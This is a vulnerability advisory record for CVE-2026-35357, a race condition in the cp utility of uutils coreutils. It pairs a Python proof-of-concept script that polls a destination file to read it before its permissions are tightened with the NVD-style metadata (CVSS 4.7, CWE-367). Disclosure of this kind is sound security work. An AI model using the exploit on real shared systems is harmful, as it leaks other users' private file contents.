CVE-2026-35357

import os import time # Simulating the race condition attack # This script attempts to open the destination file before permissions are tightened. def attacker_thread(dest_file): print("[+] Attacker thread started...") while True: try: # Attempt to open the file read-only # If umask is 0644, this might succeed before chmod to 0600 fd = os.open(dest_file, os.O_RDONLY) print(f"[+] Race won! File descriptor acquired: {fd}") # Read content data = os.read(fd, 1024) print(f"[+] Leaked data: {data.decode(errors='ignore')}") os.close(fd) break except (FileNotFoundError, PermissionError): # File not created yet or permissions already restricted time.sleep(0.0001) # High frequency polling continue if __name__ == "__main__": target = "/tmp/copy_of_secret" # In a real scenario, run this while `cp source target` is executing attacker_thread(target)

{"cve": {"id": "CVE-2026-35357", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:38.267", "lastModified": "2026-04-24T19:02:53.557", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The cp utility in uutils coreutils is vulnerable to an information disclosure race condition. Destination files are initially created with umask-derived permissions (e.g., 0644) before being restricted to their final mode (e.g., 0600) later in the process. A local attacker can race to open the file during this window; once obtained, the file descriptor remains valid and readable even after the permissions are tightened, exposing sensitive or private file contents."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10011", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/uutils/coreutils/issues/10011", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}